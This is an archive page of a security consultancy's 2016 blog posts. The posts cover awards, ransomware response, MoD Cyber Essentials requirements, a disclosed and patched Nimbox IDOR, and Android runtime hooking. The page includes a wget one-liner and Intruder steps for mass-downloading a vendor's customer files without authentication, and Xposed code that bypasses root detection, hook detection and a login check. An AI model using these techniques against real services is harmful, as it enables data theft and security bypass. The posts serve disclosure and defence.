Archives for 2016

SME Cyber Defender of the Year 2016



7 Elements are proud to be the SME Cyber Defender of the Year 2016. The award recognised our achievements for the delivery of incident response services. Contact our team if you would like to find out more about how 7 Elements can work with you to avoid unnecessary incidents and when required effectively respond and recover.


Unless you have been living under a rock for the past year you will have seen the rise of ransomware attacks worldwide. There are lots of great online resources that cover ransomware in great detail so we will not repeat that here. Instead, we are going to look at three questions that we are often asked when discussing ransomware.

  1. “What are the current delivery methods for Ransomware that you are seeing?”
  2. “How should we respond to an incident?”
  3. “What should I do to mitigate?”

This article will look at each question in turn.

Ransomware Delivery Methods

We have seen a split between the different delivery methods used by various ransomware gangs, and the methods used differ due to the technical skill set of the attackers and also when targeting end users or corporate systems directly.

Targeting end users 

The main methods employed to get the ransomware on to the target system still fall within the following two categories:

  • Email based attachments – often using fake invoices with embedded malicious macros.
  • Malicious Websites – where exploit kits are used to deliver the malicious payload. This can be through accidentally visiting a site while browsing the Internet or via clicking on a link within a malicious email.

Targeting Corporate Systems

  • Internet Exposed Remote Management – where remote management systems are compromised (often through weak passwords) and the ransomware is directly delivered on to corporate servers.

In terms of remote management compromise, the attacks appear to use the following approach:

  1. Identify remotely exposed RDP with weak credentials.
  2. Create further administrative level accounts on the server to maintain access.
  3. Maintain access for a period of time (in one case, we dealt with, access was maintained for at least four weeks).
  4. Drop ransomware.

It would appear that stages 1-3 is most likely a separate party to those dropping the ransomware. From what we have seen, it is likely that access to the compromised server is being sold once the entity responsible for the initial breach has gained everything they want from the server. My assumption is that the entity selling access, could easily be selling access to a number of malicious parties and if one happens to be focused on ransomware, then that is the impact on the end client.

When dropping the ransomware, more capable gangs are mapping a drive and running the malicious code remotely, while those at the lower end are most likely purchasing ransomware kits and often drop the executable directly on to the box.

Responding to a Ransomware Attack

A key action at an early stage of any incident is to stop the ransomware from continuing to encrypt files and causing further damage. As attacks can be focused towards end users as well as directly against corporate environments, steps should be taken to identify the type of attack. Identification of the type of attack is fundamental to understanding right approach for remediation to allow for the most effective infected asset identification and its removal from the network.

The following high-level approach is suitable for most ransomware attacks, while being agile enough to enable the incident analysts to address the ever changing nature of ransomware families.

  • Identify patient zero and isolate from the network.
  • Analysis of the ransomware family to identify clean up activity required and if files can be recovered directly.
  • Identify route of compromise (email / web browsing / remote access).
  • Block access to malicious sites / remote access solutions / remove infected emails to prevent further re-infection and or command and control.
  • Identify the technology flaw exploited to gain initial compromise and remediate wider environment to protect from repeat infection.
  • Identify key documents encrypted and conduct Internet search to confirm no external exfiltration of data.

Ransomware Mitigation

Again there are many online guides and resources that outline how to mitigate ransomware1. However, this is in essence an arms race between the ransomware gangs and the current defences that can be deployed. As such, it is likely that new approaches that do not have current mitigation will be identified and exploited by the gangs. Therefore, incident planning and response should also play a significant part in your preparation.

Beyond maintaining effective backups that are protected from ransomware attacks and can be successfully restored in a timely manner, a number of further key mitigating activity can be deployed to reduce the likelihood of a successful attack:

  • Reduce technology surface – remove any unnecessary software, technology stacks such as java, flash etc from the enterprise.
  • Hardening of web browser – protect end users from opportunistic attack via malicious web sites by applying additional security controls within the browser.
  • Patching – keep technology up to date, especially java, adobe, browsers and main operating systems.
  • User awareness- work with your staff to raise awareness of phishing style emails, malicious documents and what actions to take if an infection occurs.



Inaugural Scottish Cyber Awards 2016

7 Elements had a very successful evening at the inaugural Scottish Cyber Awards 2016. Our CEO David Stubley was shortlisted for the Cyber Evangelist of the year, along with Stu Hirst (Head of Security for Skyscanner) and Prof Bill Buchanan of Napier Uni and The Cyber Academy.



“It was an honour to be shortlisted along with Bill and David who are absolute champions for cyber security in Scotland and beyond. 2017 is sure to be another challenging but exciting year for security and we can all continue to make great strides in protecting business from the continued threat of cyber crime”. Stu Hirst



With Bill quite rightly being recognised for all of his hard work within the Scottish cyber security community as the winner of the award.

“The Cyber Security awards showcased the great work within innovation within Scotland, particular with up-and-coming companies such as ZoneFox, 7 Elements and Net Defence. A key highlight of the event for me was the focus on innovation and especially on SME activity, as these companies will provide us the foundation for our economic activity around the area”. Prof Bill Buchanan

7 Elements, along with ZoneFox and Truststream were shortlisted for the SME Cyber Defender of the year award. With such a high quality shortlist, it was an immensely proud moment for the 7 Elements team to walk away with this award. Especially with ZoneFox later on collecting the award for Champions of Champions!

img_20161116_202631“To be recognised at the cyber awards is real confirmation that our commitment to delivering highly technical and client focused engagements makes a real difference to SMEs within Scotland”. David Stubley

“Being nominated for SME defender was a great indication of the fact that SME’s also require the same level of protection that larger orgs invest in, and it’s great to know we’re helping. Winning the international contribution and champion of champion award is a fantastic honour. The team have worked to give us our most commercially successful year, and to win these awards is the icing on the cake”. Dr Jamie Graves (Zone Fox)

The passion and commitment of all of the Scottish Cyber community was evident throughout the evening. We have great talent here within Scotland and the future is bright, bring on next year.

Nimbox Unauthenticated Direct Object Reference in Download Function – ‘Stealing the pie from the API‘

Nimbox Unauthenticated Direct Object Reference in Download Function – ‘Stealing the pie from the API‘


At the end of July, I identified an unreported vulnerability within Nimbox’s secure file sharing product ‘vault’. The vulnerability allowed me to mass download all their customer’s data stored on the platform. The vulnerability was immediately reported to Nimbox as it effected their entire customer base. It was reported on the 26th of June 2016 effecting version 2.5.0 up to the latest version at the time, It was then patched on the 27th of June 2016 with the release of version I would like to credit Nimbox for their swift response to the issue.

Details of our advisory can be found here.

The Nimbox blog and hotfix can be found here and here.

Technical Detail

As detailed in the advisories above, the vulnerability takes advantage of an Unauthenticated Direct Object Reference in the Download Function of the ‘vault’ application.

“Nimbox is a secure file sharing, collaboration, backup and cloud storage service for managing, sharing and syncing files across your environment. Their ‘vault.nimbox’ service, used for secure file sharing was found to have an unauthenticated direct object reference vulnerability. Resulting in the ability to download all previously-shared customer data stored within”

By exploiting known methods, it was possible to download any customer’s folder and its contents as a .zip file, as long as the content had been previously shared.

Proof of Concept

When viewing or accessing a folder and its contents within the vault, each folder has an ID which can be seen in the following URL:<validation_token>/?folder_id=<id>

Incrementing the folder_id value yielded an error stating the folder does not exist, whereas decrementing the value gives a 403 forbidden. This indicates to us that folders exist within our contained domain, we just can’t access them, yet.

Nimbox’s ‘vault’ application also contains a ‘download as a zip’ function, which allows clients to download the entire contents of their share instead of each file individually. This function makes use of three separate parameters when making its call to the API end point.<client_id>/<folder_id>/zip/<validation_token>

The first parameter is organisation A’s directory ID (Nimbox Customer) which increments iteratively with each new customer. The second is the sub-directory ID (i.e., Organisation A’s specific client’s or employee’s directory/share etc.) which increments iteratively with each new sub-directory created. The third is a validation token. The validation token is not tied to access control and it only validates the request to the API to authorise the download. Therefore, changing the sub-directory ID starting at 1 and working up incrementally, we can download all sub directories inside Organisation A’s directory. This is exemplified in following intruder attacker:

Set payload position to the folder_id parameter:

screenshot 1 intruder

Set Intruder to iterate through incrementing by 1 each time from 0 to 610:

screenshot 2 intruder 2

Analyze results, the most interesting parameter here is the Length as it indicates the size of the contents within each share:

screenshot 3 results

This can then be taken one step further to include both the directory ID and sub-directory ID. In turn working through every organisation and all the sub-directories owned by that organisation.

These requests can be made without first authenticating to the service. All that is required is for the directory ID and/or sub directory ID to exist along with a valid token. This results in a mass download of all previously-shared customer data stored on A token can be trivially obtained in multiple ways, either from brute forcing, having a link shared with you, capturing a link in transit, being a customer/user, or simply signing up for a free trial.

From this point you can unzip the file and retrieve all documents stored within the downloaded zip file. You can also work out based on the size of the response what folders have a large number of files in them. Otherwise just mass download all the shares. The following quick and dirty wget command will download the first 10 shares from the first 100 organisations and save each share as a .zip in /customer_data:

wget{001..100}/{001..010}/zip/f90a76b68b226b -P customer_data/

Alternatively, you can then submit the following URL in a browser and download the file unauthenticated:

NOTE: This can all be done completely unauthenticated and on mass.


Nimbox issued a hotfix for this issue here and details about the steps they took can be found here. Anyone running the below version or previous are urged to upgrade immediately to the latest version:

Product Version Platform
Nimbox 2.5.0 –


This shows how a common attack vector that has been in the OWASP top 10 for a number of years such as Insecure Direct Object Reference can still have a significant impact. The PoC also shows how using commonly available tools and techniques combined with a little bit of ingenuity, you can go from having nothing to gaining full access to all the customer data. User access control also plays a role here and highlights the need for a defence in depth approach.

ScotSoft 2016

ScotSoft2016ScotSoft2016, the annual conference for the Scottish digital technologies industry, will take place on 6th October in Edinburgh. The must-attend technology event of the year, ScotSoft2016 comprises the Global Forum, Awards Dinner, the Developers Conference and the Scottish Government Public Sector Briefing. This year 7 Elements are excited to be involved as a main sponsor for the event.

ScotSoft has a packed programme of talks from speakers from all over the industry including Sam Ramji, Troy Hunt and of course, our very own David Stubley will be giving a talk named ‘Breaking Bad’.

‘Breaking Bad’ will focus on just how bad could a breach of your corporate web site be for your organisation. In this talk, David will look at attacking modern enterprise application frameworks and using common exploit code to demonstrate the true impact of a breach, including gaining access to internally sensitive systems and data.

7 Elements will also be running a Capture the Flag (CTF) event to allow delegates to test their hacking skills. It is a security-focused competition with points awarded for gaining unauthorised access to applications and systems within the target environment. The CTF is aimed at all levels, so make sure you come along and put your skills to the test and maybe even win prizes!

More information can be found here.

Nimbox Unauthenticated Direct Object Reference in Download Function

Advisory Information

Title: Nimbox Unauthenticated Direct Object Reference in Download Function

Date Published: 05/08/2016

Advisory Summary

Nimbox is a secure file sharing, collaboration, backup and cloud storage service for managing, sharing and syncing files across your environment. Their ‘vault.nimbox’ service, used for secure file sharing was found to have an unauthenticated direct object reference vulnerability. Resulting in the ability to download all customer data stored within



Affected Software

Product Version Platform
Nimbox 2.5.0 –

Description of Issue

Nimbox’s ‘vault’ application contains a ‘download as a zip’ function, which allows clients to download the entire contents of their share instead of each file individually. This function makes use of three separate parameters when making its call to the API end point.<client_id>/<folder_id>/zip/<validation _token>

By iterating through each value of client_id and folder_id, it was possible to enumerate valid content and download the corresponding folder.

These requests can be made without first authenticating to the service and all that is required to invoke the download is a validation token, which can be obtained through multiple means (the simplest of which was to create a trial account).


Further discussion and a proof of concept on this issue will be covered within a future 7 Elements blog post.


Reported – 26th July 2016

Accepted – 26st July 2016

Patched – 27th July 2016

Advisory Published – 5th August 2016

Android Mobile Application, Runtime Mischief


7 Elements conduct a large number of mobile application penetration tests as part of our security consulting services. An area of interest amongst our customers is our ability to bypass root detection, local application logic and access sensitive objects which are encrypted at rest.

What will this blog cover?

This blog will cover attacking mobile applications at run time using the Xposed framework. Firstly, we need to understand what the Xposed framework is and how it works.

What is the Xposed Framework?

Xposed framework provides a means through which applications can be modified without having to recompile the APK file with new code. The Xposed framework includes modules as part of a repository that can be installed to hack both the android system and applications on the device. These modules are not created for malicious purposes and for example can be used to disable unwanted or untrusted functionality in an application or modify the android system to display different colours or logos.

The following link provides a good description of its capability: Link

How does hooking work?

How Xposed is able to hook and exploit applications at runtime. Quoted from the link above:

There is a process that is called “Zygote”. This is the heart of the Android runtime. Every application is started as a copy (“fork”) of it. This process is started by an /init.rc script when the phone is booted. The process start is done with /system/bin/app_process, which loads the needed classes and invokes the initialization methods.

This is where Xposed comes into play. When you install the framework, an extended app_process executable is copied to /system/bin. This extended startup process adds an additional jar to the classpath and calls methods from there at certain places. For instance, just after the VM has been created, even before the main method of Zygote has been called. And inside that method, we are part of Zygote and can act in its context.”

Therefore, Xposed sits in a very powerful position on the phone and through the modules can “patch” the applications to modify their actions during specific operations.

Root Detection

What is root detection?

Straight from Wikipedia: “Rooting is the process of allowing users of smartphones, tablets and other devices running the Android mobile operating system to attain privileged control (known as root access) over various Android subsystems. As Android uses the Linux kernel, rooting an Android device gives similar access to administrative (superuser) permissions as on Linux or any other Unix-like operating system such as FreeBSD or OS X.”

Common root detections can be seen here: Link

Can Xposed help with bypassing root detection?

Yes, it can due to the powerful position Xposed operates in. We can identify root detection methods disable or return expected data.

All applications make use of different methods as part of root detection, some more basic, while others are constructed by paid for services and defensive frameworks. Therefore, we normally carryout specific engagement based coding to bypass the security controls.

Xposed already includes one good example of a module that can bypass a number of root detection checks. The modules is called RootCloak: Link

Simple Example

A simple example of root detection is to look for known packages on the device using the Android Package Manager. The following code extracted from RootCloak details one method for hooking the native Package Manager application, changing the package being inspected and returning package not found:

findAndHookMethod("", lpparam.classLoader, "getPackageInfo", String.class, int.class, new XC_MethodHook() {
 protected void beforeHookedMethod(MethodHookParam param) throws Throwable {
         if (debugPref) {
         XposedBridge.log("Hooked getPackageInfo");
         String name = (String) param.args[0];
         if (name != null&&stringContainsFromSet(name, keywordSet)) {
         param.args[0]=FAKE_PACKAGE; // Set a fake package name
         if(debugPref) {
         XposedBridge.log("Found and hid package: " + name);

The code above hooks the appropriate package manager class and inspects the package that is being reviewed. If the package matches known list of packages we want to hide, the package is automatically changed to a fake package name. The response to this from the package manager is therefore “did not find the package you were looking for”.

Some applications should be allowed to run on rooted devices, what other defences are there?

Hook Detection

While root detection is important, a number of our clients allow their applications to be run on rooted devices opting instead to use hook detection to stop malicious activity at run time.

What is hook detection?

Hook detection is built into the application and detects if a rogue application has intercepted a called function that resides in a system library or within the application.

Real world example:

On a recent engagement we raised the lack of hook detection as a security issue. On returning to the site the company had implemented a new version of the application with hook detection enabled. The implementation of hook detection was capable of detecting that the application was running on a device flashed with Xposed and therefore permanently hooked and would not execute.

While a large percentage of the code base was obfuscated, the main activity included a method hDetection_Fail(). Through reverse engineering and code review we discovered that this method was used by application to identify hooking. We then created a module for Xposed that located the running application, hooked the appropriate class and disabled the method before it could kill the application.

The following snippet of code was used to bypass the hook detection:

public class Doug implements IXposedHookLoadPackage {

    public void handleLoadPackage(final LoadPackageParam lpparm) throws Throwable {

        String packageName = "com.App.Test";
        String classToHook = "com.App.Test.MainActivity";

        if (!lpparm.packageName.equals(packageName))

        XposedBridge.log("Doug is in the App");

        findAndHookMethod(classToHook, lpparm.classLoader, "hDetection_Fail", XC_MethodReplacement.returnConstant(null));


The outcome of loading this module as part of the Xposed framework was that the application ran, identified that it was hooked, jumped into the function hDetection_Fail and then exited the function with null and continued to operate as normal bypassing the hook detection, by using hooking………. Pause for a smile.

Where can I learn more about Xposed?

The Xposed framework syntax is large and its capability vast. The following links detail the functions included in the framework:

More Real World Examples

We downloaded a random password safe app from the Playstore. This password safe application utilises encryption and hashing and stores data in an encrypted format in the database. This demonstration is not to show you how to hack a particular application but instead should demonstrate the depth to which Xposed can impact an application.

Reverse engineering the code base is relatively simple especially when the author does not implement obfuscation routines. OWASP mobile testing, M9 Reverse Engineering – Link.

Let’s focus on the login part of the application and attack it head on

On the application we discovered the following code:

public static boolean validatePassword(String paramString1, String paramString2)


    return validatePassword(paramString1.toCharArray(), paramString2);

This looked interesting and definitely worth dumping the contents of the two string values. Going ahead and doing this produced the following results (Don’t worry code shown in next segment):

07-26 21:13:26.508 8410-8410/? I/Xposed: Doug is in password app

07-26 21:13:32.378 8410-8410/? I/Xposed: Doug – Activity Called……..

07-26 21:13:32.388 8410-8410/? I/Xposed: Doug – Found string1: letmein

07-26 21:13:32.388 8410-8410/? I/Xposed: Doug – Found string2: 1000:161eacdbb11a1d1b01646bc55b351926ec68d3bdc36b0e88:e709c77356120e9e347aac5d7781252919f5f24995762105

Clearly this is no ordinary compare function. However, it should be noted that it is not uncommon to see a compare being undertaken against the actual stored password string. Looking further into the code we see the following output:

public static boolean validatePassword(char[] paramArrayOfChar, String paramString)


    String[] arrayOfString = paramString.split(":");

    int i = Integer.parseInt(arrayOfString[0]);

    byte[] arrayOfByte1 = fromHex(arrayOfString[1]);

    byte[] arrayOfByte2 = fromHex(arrayOfString[2]);

    return slowEquals(arrayOfByte2, pbkdf2(paramArrayOfChar, arrayOfByte1, i, arrayOfByte2.length));


This indicates that the password is stored as a PBKDF2 hash. This sucks, when it comes to bypassing the authentication mechanism. Even with the salt and the number of iteration of the cipher we still need to brute force the password. The good thing is that this can be done offline rather than within the application removing the potential to lock the password safe application.

Let’s take a different approach

Alternatively, we could wait for the user to enter the correct password and check the logs. As this appears to be following reasonably good practices we will chance our luck. The purpose of this function is to return a Boolean value, True or False. Xposed can automatically return any function as a Boolean value. The following code demonstrates dumping the contents of the strings as well as forcing the login by creating a Boolean value of true.

public class Bypass implements IXposedHookLoadPackage {

    public void handleLoadPackage(final LoadPackageParam lpparm) throws Throwable {

        String packageName = "com.Application.password";
        String classToHook = "com.Applicaiton.password.utils.passwords.masterPW ";

        if (!lpparm.packageName.equals(packageName))

        XposedBridge.log("Doug is in password app");

        findAndHookMethod(classToHook, lpparm.classLoader, "validatePass", String.class, String.class, new XC_MethodHook() {
            protected void beforeHookedMethod(MethodHookParam param) throws Throwable {
                XposedBridge.log("Doug - Activity Called........");
if (param.args[0] != null ) {

                XposedBridge.log("Doug - Found string1: " + ((String) param.args[0]));
                if (param.args[1] != null ) {
                    XposedBridge.log("Doug - Found string2: " + ((String) param.args[1]));
                if (param.args[0] != null) {
                    // modify the result of the original method

                    XposedBridge.log("Doug says let me in");


The output of this looks as follows:

07-26 21:13:32.378 8410-8410/? I/Xposed: Doug – Activity Called……..

07-26 21:13:32.388 8410-8410/? I/Xposed: Doug – Found string1: bang

07-26 21:13:32.388 8410-8410/? I/Xposed: Doug – Found string2: 1000:161eacdbb11a1d1b01646bc55b351926ec68d3bdc36b0e88:e709c77356120e9e347aac5d7781252919f5f24995762105

07-26 21:13:32.388 8410-8410/? I/Xposed: Doug says let me in

So the cool thing is that the application allowed us to gain entry to the password safe application but unfortunately all the values and contents were encrypted using the password and therefore the details contained within each entry are unintelligible. As they used the password bang to decrypt the data in the application.

The following screenshot shows the password safe application in operation but the values are of no use to an attacker:

Hooking Blog - Encrypted pass-safe

While we could not break into the application using this method; it demonstrates yet another way in which the code can be manipulated at run time in line with its current workflow.

To recap, we have the password being sent into the application by any user, so we could capture the password at this point of the workflow. Secondly, we have the salt, the number of iteration and the hashing mechanism, to attempt password guessing techniques offline. This may be a viable attack vector as a lot of password safes can destroy themselves after a number of failed login attempts.

Okay, I am getting upset now, let us take another approach!

While the application can be attacked straight on through offline brute forcing, it is not really the result we hoped for. Let’s look at another attack vector to target users while they use the application. By using the application, we can see that it makes use of the clipboard to copy passwords out of the application to be pasted into login forms or other applications. It is possible to attack the application by targeting the clipboard.

Step Back! Why am I doing all the work…. what about you?

Getting started with this type of code manipulation can be difficult. Therefore, it’s always useful to have good examples of applications or hooks that other users have written. There is a really good application for security testing called Inspeckage, that has a number of prebuild hooks and allows users to set new hooks based on the Class name or the Method within the application. Writing your own code means deploying a module and then having to reboot the phone so that the module can be enabled. Inspeckage once enabled can be modified to carry out new actions through the hook+ option that will automatically take effect. This can be really useful when testing an application that is obfuscated. It allows the tester to see what variables are being passed between methods, which is a great starting point.

Inspeckage can be found via the following Link.

Demo of Inspeckage, capturing clipboard data

We can use Inspeckage to capture all the clipboard interactions from within the specific application, as previously discussed. The following output details the Inspeckage hook application capturing the clipboard information every time some data is passed to it. This information is output to Logcat and then displayed through the Inspeckage web page under the Misc category, as detailed below:

Hooking Blog - Inspec


Hopefully we have been able to demonstrate that it is possible to manipulate applications to bypass root detection, hook detection and retrieve sensitive information all at run time. The following recommendations should be reviewed when coding an application.

  1. Deploy complex root detection routines where possible. This should also terminate the application locally and not send information back to a back end server to terminate the communications (SSL Pinning issues – sure to be another blog sometime).
  2. Deploy additional hook detection in sensitive functions to minimise misuse.
  3. Smart coding. Smart coding covers building applications in line with the software development lifecycle and including security into each stage of an applications development. Too often we see obfuscation routines being used as the only security mechanism in an application.
  4. Obfuscate all code everywhere. This can be achieved both throug h automated means by paid for services but also in the coding themselves. Taking away the context of variables and functions to minimize an attackers understanding of the application.

There are loads of additional good practices that could be a blog on their own. For more information check out OWASP Mobile Security Project – Link

Scottish Cyber Awards

Logo Scottish Cyber Awards (1)We are very proud to announce that we will be sponsoring the Leading Light Innovation Award at the first ever Scottish Cyber Awards!

The Scottish Cyber Awards are being organised by the Scottish Business Resilience Centre and Scottish Enterprise and their purpose is to recognise Scotland’s commitment towards cyber security excellence. The award ceremony will be held on Wednesday the 16th of November at The Waldorf Astoria in Edinburgh.

If you would like more information about the Scottish Cyber Awards please visit

The Defence Cyber Protection Partnership Cyber Security Model


For projects starting from April 2016, all suppliers will be required to meet the Defence Cyber Protection Partnership (DCPP) Cyber Security Model (CSM). This will mean that in addition to Cyber Essentials (CE), all parties involved will also be required to meet corresponding governance requirements.

Following on from the earlier (1st January 2016) notification (discussed here), which specified that all MoD contractors and sub-contractors will be required to have Cyber Essentials or Cyber Essentials Plus. It is also important to be aware that this extends to all MoD procurement, suppliers and subcontractors, even if they are not working directly with/for the MoD. All suppliers will be required to have the relevant Cyber Essentials certificate in place at the latest by the contract start date, and then maintain compliance with the scheme by renewing annually.

This document outlines the key requirements under the MoD procurement and DCPP CSM in relation to contractors and sub-contactors within the defence community.


Key Points

There are four different risk categories for all MoD projects, very low, low, moderate and high, which have different certification requirements:

  • All contractors and sub-contractors on projects with a very lowrisk rating are required to have a CE certificate.
  • All contractors and sub-contractors on projects with low, moderateand high risk ratings are required to be CE+ certified (which includes gaining CE as part of the process).
  • All contractors and sub-contractors on projects with low, moderateand high risk ratings are required to implement additional security controls beyond CE and CE+.

Scheme Updates (April 2016)

The Defence Cyber Protection Partnership (DCPP) Cyber Security Model (CSM) is now live. This means that all MoD contract or sub-contracts must now be assigned a cyber risk profile as defined below, each will come with its own mandated set of requirements:


Not Applicable For contracts where it is assessed that there is no, or only a negligible, cyber risk. It is not expected that many contracts will fall in to this category.

Cyber Essentials recommended but not required

Very Low For contracts where a basic threat is faced (i.e. simple hacking, phishing or spyware) and where any attacker is likely to be opportunistic, unskilled and non-persistent. The sorts of contracts this will apply to are likely to be those covering commodity purchases or standard service provisions e.g. office supplies or the disposal of non-sensitive waste.

Cyber Essentials Only

Low For contracts where the threat may be slightly more targeted (i.e. involving spear phishing, whaling or ransomware and where attackers are semi-skilled but may not be persistent). It is likely to apply to contracts for basic parts or services but not where these could be linked to military capability. This profile is likely to apply primarily to contracts handling information classified as OFFICIAL, but may also occasionally apply to those involving small quantities of OFFICIAL information which have the handling instruction SENSITIVE.

Cyber Essentials Plus & 16 Additional Controls

Moderate For contracts subject to more advanced threats that are tailored and targeted with the objective of gaining access to specific assets or enacting denial of service. The attacker is likely to be persistent, organised and either be skilled or have access to skills e.g. cyber criminals or hacktivists. This will likely apply to contracts that involve handling greater volumes of, or more sensitive, personal information, and those involving larger quantities of OFFICIAL-SENSITIVE information.

Cyber Essentials Plus & 32 Additional Controls

High For contracts assessed as being subject to Advanced Persistent Threats (APT), which may be sustained over long periods and not exploited for months, or years after the initial attack. Attackers will be organised, highly sophisticated, well resourced and persistent. This will likely apply to contracts that are essential to support key military capability and those handling information classified at SECRET or above.

Cyber Essentials Plus & 43 Additional Controls

The risk assessment process will be conducted by the subject letting the contract (for example the MoD or a defence supplier sub-contracting elements of the work). All parties involved must meet the minimum requirements associated with the contracts assigned risk profile, otherwise they will not be eligible for the work.

Therefore, while the minimum requirement is only to achieve Cyber Essentials, it would be advisable to attain Cyber Essentials Plus. This provides the company with a demonstrable approach to information security and prepares for the eventuality that a contract will be assigned a more demanding risk profile.


Get in Touch

7 Elements are an accredited certification body for Cyber Essentials, more information on the scheme can be found here. As an independent technical information assurance consultancy, 7 Elements is well suited to assist your organisation in gaining a Cyber Essentials Certification.
As the scheme is designed to be available to all sizes of organisations, our pricing is cost effective.
To discuss your Cyber Essentials needs please contact us.

Additional Reading

What is the Cyber Essentials Scheme?:

MoD Industry Security Notice:

MoD guidance:

Further reading on the additional governance control requirements for each risk profile:

Very Low